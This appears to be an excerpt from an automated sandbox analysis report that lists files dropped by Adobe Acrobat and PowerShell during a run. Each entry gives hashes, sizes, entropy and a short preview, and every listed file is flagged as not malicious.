SHA-512:	577CEF25A82AD6B67E8272E6F5D9032F9A17E874434A53DE7A3396C60534C1316A8C6710BDFF36F877AB02FF9FD7BFD132C0A9B17B553C1E25489004349D51C9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"df9ff967-ee1d-4963-b352-d26d33d9b8da","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736747137549,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.310699101423744
Encrypted:	false
SSDEEP:	6:YEQXJ2HXkB/HmSg1c2LjcWkHvR0Yt68DoAvJf+dPeUkwRe9:YvXKXkB/GT5LjIPB68sG28Ukee9
MD5:	48FCE28B7C846E753EB33202ED5DB470
SHA1:	93FC438894B743976D1E85FBAF73013400C743C7
SHA-256:	9A9E7155E18A637622F4ADEF0C0427945FA64F086770BEC1CFC33E0588DCD537
SHA-512:	66CF261020B5A9DFECD4260CDF4E5F65A926B391E0C0465E123D4D8FF23CC380256315C417C4B21D8C8753C4F2B8C326FBAE520A96BEFBE93A05187C901611F0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"df9ff967-ee1d-4963-b352-d26d33d9b8da","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736747137549,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.307311102825745
Encrypted:	false
SSDEEP:	6:YEQXJ2HXkB/HmSg1c2LjcWkHvR0Yt68DoAvJfbPtdPeUkwRe9:YvXKXkB/GT5LjIPB68sGDV8Ukee9
MD5:	5548EA6E538EEF69B8E00405FCF2CD3B
SHA1:	097A2D8896DC219F2B48A0E80B30E27C4438FA32
SHA-256:	D72C71EED3F04179CBE57BAFAA9CEAA9ABAF21A0F06F9E584788DF9F61118ECC
SHA-512:	833EDF56700A42C0FD9DDE79E3DE7AF2A9C204201A8F02A9F8E94A414B79D4C93B10D3C043F0A2DBD99A6801ED1E7E65FEF5B0A9EFDA69FC1805286420ACFD0B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"df9ff967-ee1d-4963-b352-d26d33d9b8da","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736747137549,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.29940223598736
Encrypted:	false
SSDEEP:	6:YEQXJ2HXkB/HmSg1c2LjcWkHvR0Yt68DoAvJf21rPeUkwRe9:YvXKXkB/GT5LjIPB68sG+16Ukee9
MD5:	90CD137384CF94BE1B4DCD107F13A772
SHA1:	6BB94002851C95F51C53277ED5BDFAB666C286C6
SHA-256:	30963A7C3A4729B918DD745053753D216E68AA0955F7AEED95864410DA21EFFC
SHA-512:	1CB2EA9118A2AE23F5BB9C1B8FD78C90011FBF65EFABF0014E37565F6B56EC9DE781D389BCBB9163100851F62EF708BE6E956BA60B2BE97BE9AA558C9AF68E85
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"df9ff967-ee1d-4963-b352-d26d33d9b8da","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736747137549,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.669177582428115
Encrypted:	false
SSDEEP:	24:Yv6XEGT5XIFamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSj:YvyXCBgkDMUJUAh8cvMj
MD5:	42FCC1F2DAD982C950C7540BB803CFEB
SHA1:	C2C8A675455C3777198A7426D8CA268E0A27A832
SHA-256:	F3495860D7DDDFA85132F65917DE149F76B6BC889FFCED8E5695D6E044A3F3DB
SHA-512:	7D33BD6D05304F923F1EFA26C25C489830D510B2683C76B132632F05A9506465096FE06CBEDDBAAE0C4CCEDCC90BA2F9A99DBC088312397226B341C882E49BDE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"df9ff967-ee1d-4963-b352-d26d33d9b8da","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736747137549,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.270776241196623
Encrypted:	false
SSDEEP:	6:YEQXJ2HXkB/HmSg1c2LjcWkHvR0Yt68DoAvJfshHHrPeUkwRe9:YvXKXkB/GT5LjIPB68sGUUUkee9
MD5:	B10330026E382B249725F695ECD822C4
SHA1:	2B25063029EC15038BB0E0B5B9A5FBEB8BEEB145
SHA-256:	E38D357D905ECBF59932966953E1B2A03FB29CAB23597CCAD7870C3895BB428A
SHA-512:	3BDDBB5E0B45468E6B84FAF3F59A2D5BDAC3D757B8D045BF399242F8A5E16E62283C7BDCEA945E331F4E994416D1779A2ABA72D5FCC1CC71498F271E4F0A014B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"df9ff967-ee1d-4963-b352-d26d33d9b8da","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736747137549,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.284933729648428
Encrypted:	false
SSDEEP:	6:YEQXJ2HXkB/HmSg1c2LjcWkHvR0Yt68DoAvJTqgFCrPeUkwRe9:YvXKXkB/GT5LjIPB68sGTq16Ukee9
MD5:	13BC5A9167DE82C1B2651A80DBFBD579
SHA1:	67A3D8AFD8DC8CB70A2910534742A52BCBF64C4D
SHA-256:	AAA9DE9355DC8D70D43BC8DC05378B19CA0A096CEF6CEF85D48CB857FF9EBEA8
SHA-512:	173F1EF9D2B524448D8F16B4F4A5F789E3C27CE621640D2792F35E7CF5DBDA91AB7799FBBE593147ED6D16417F4BF99662FD68EAF0709270308FDC35689EDB21
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"df9ff967-ee1d-4963-b352-d26d33d9b8da","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736747137549,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.138460825324293
Encrypted:	false
SSDEEP:	48:YZ8tkwAL4RA5g68cxOQZcIoXpwPOOydx1mmQe8kq/4J9kf79tm:C8tgh5gytZcX+rmlRHM794
MD5:	130A39AFCAE3580EA763D54B3BF3EE61
SHA1:	B52BB580A8FEB8905C9A916DC9A0B852D41FB264
SHA-256:	04DB4C7888F1323B6E9B5E4DF4860BEEA57FBF1C09741A446A52DF337324A9AB
SHA-512:	90EAFCF990AEB3C4BDC075FD4517BEF5EA39A8D0E1BEF46474240705618412ADEC324E4B666F3B815049CA70A0E86216559B6A4FCC490A5F9784D7F98C0E7EBC
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"998963aac1e864a9e3e668cb5d47dc75","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736572822000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"adfd4aa06ecf96c6c3a0fb812540bd2f","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736572821000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"d9637000f877829678ee6cfbe9011ca1","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736572821000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"8f54716a3befa5172624b8220381f4da","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736572821000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"f696081d6b7dcbe06b5fe0e085c87b0c","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736572821000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"611bfc2aac550cdca2629acf124f8a51","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3671845883317981
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDun57XKdqEKfS8EKfM1baf57F:Tll2GL7msMcKTlS8fcsunafIfH
MD5:	5178D5D54504EF59999E2CB11E44CBBF
SHA1:	5473135AFD2AA2F1B60AC761AE53EA4E1A69B9B8
SHA-256:	0519A9A2ED333BDF902887DE333BC5D5558E4012599DCC15FA56CB5EA58E46FC
SHA-512:	8388CEDE948400B780AC679A10C2CFBF98515E4201E6D0F73E3C53AAC38CB9DD8BAEC41EFEC8D5C1B435403D2EA7339C9A2BB23EDF6E0DAC10C0115865FB72A2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8428162418439282
Encrypted:	false
SSDEEP:	24:7+t6Z6bqyKn6ylSTofcNqDun57+KdqEKfS8EKfM1banbqtqLKufx/XYKQvGJF7u5:7MgcKTlS8fcsunffI0qGufl2GL7msQ
MD5:	833D5513B23C7780444B69A12CF73468
SHA1:	9644A9904753E30084B040689A016D294DFF8D85
SHA-256:	F68216E8DD046A9B8F99D0323764AF1338315A9186E8D575E09BEC12A72B5DAD
SHA-512:	B05B46781199D19267542CEE12F16A8132D098A9A39205042FE4FDAF80EB5564509764ADFDD13EC51B4BC43FBB0A75AB4E0941693B7018EB35C718BAC6125451
Malicious:	false
Preview:	.... .c...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgwjEK+zAM/n6lFpnQ+gPmZgYyu:6a6TZ44ADEwjp+zA86lzCK
MD5:	B3EFD88A7C463C36E8290B864CE6B8FA
SHA1:	EEABAE915A931EB740B5B96ED9CA7D2F7EFAE246
SHA-256:	CA219E9CC3ECB0DDB8DF1E17A3B772162E84F2057D76D0473127B130D944CE35
SHA-512:	3A1DDD07F7DFDEF11EABC93258AB9986D97BC53A5788E4F154B7361E8526BF805F943CF77720CEF3880B9A6656ADF69DB3F6C6ADC4E62C82DB2AF68C1175376E
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/nq/llh:NllUyt
MD5:	AB80AD9A08E5B16132325DF5584B2CBE
SHA1:	F7411B7A5826EE6B139EBF40A7BEE999320EF923
SHA-256:	5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
SHA-512:	9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI6f898.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4741361862431503
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl0lH:Qw946cPbiOxDlbYnuRKdh9
MD5:	31EFF8DDF77101FC5387076C0C6F1AD0
SHA1:	045DD6376F528D4552F95EE3DF49877891946D62
SHA-256:	26AFEBB6FB58F4B74F295C164A608038FB249C69F27E4415E89C87987C16D856
SHA-512:	7707FBCF5ADBBA8DAEA68A2D4320BEDBC4F7A1EE0E71C0CC2F536F38BB921AA2D5E31EF3A997D5345DBD8C23D6F317BA9265297CC959CE4158286D32D30454B8
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.0.:.2.0.:.2.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fe4kgfjh.jvk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ryattwfo.wmv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 00-20-15-060.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15111
Entropy (8bit):	5.331857170117262
Encrypted:	false
SSDEEP:	384:AWtHjHIH78h8i8Pl8q8j8N8l8i85G8w8Mtpjwj8jyjOoTLVHLVsLVpLV7HE6vuv6:AmDobIVqlBOGw7oGHpf0o+ykLlL+LrLL
MD5:	2B01A0A81521C23FBF43E6A2FC1BA2E8
SHA1:	9A6E5D7869C7A56CE7F5518BB6AE26951CB14ABE
SHA-256:	0EF525D1605B8F2C97BE21312D735BCB9F2E2B354CA2C1F510A207BBBA6A25A8
SHA-512:	A014B10C71B3E8C08BB6359E5235F61946154BAA5654ECB3A50449098E84F89DC945893569B4205176CDC80F386ADCE60E330C0AFFCAB0368A798A61D0AB6E82
Malicious:	false
Preview:	SessionID=a93eb80d-16da-41f5-bda4-d4c1a51f2d9e.1736572815092 Timestamp=2025-01-11T00:20:15:092-0500 ThreadID=3236 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=a93eb80d-16da-41f5-bda4-d4c1a51f2d9e.1736572815092 Timestamp=2025-01-11T00:20:15:093-0500 ThreadID=3236 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=a93eb80d-16da-41f5-bda4-d4c1a51f2d9e.1736572815092 Timestamp=2025-01-11T00:20:15:093-0500 ThreadID=3236 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=a93eb80d-16da-41f5-bda4-d4c1a51f2d9e.1736572815092 Timestamp=2025-01-11T00:20:15:093-0500 ThreadID=3236 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=a93eb80d-16da-41f5-bda4-d4c1a51f2d9e.1736572815092 Timestamp=2025-01-11T00:20:15:094-0500 ThreadID=3236 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.375763402560964
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbmpcbkIAkcb9:8qnXopZ50rUA3
MD5:	D0708B5A9C5C11D2FC0F4F6E8DC57548
SHA1:	7D8EAC4479B5A4FC1E0079F485AFDC622A34E075
SHA-256:	A7D5BB8F2BD8D1C77A96BD49514328723D29A025A15E21C6ED5A9F97007A2658
SHA-512:	269DD36050F691DAAC413B43AA821CC8247A13896405470103C0A614A66BA395E989C1A53713669849CD9A93279F27E7DAC16B376E6437600520B8255A5E41D8
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\4b0705dc-0821-4620-998e-1ac51ea4ec6a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\5338d838-e038-40ec-8ce2-fbf2e18c8921.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
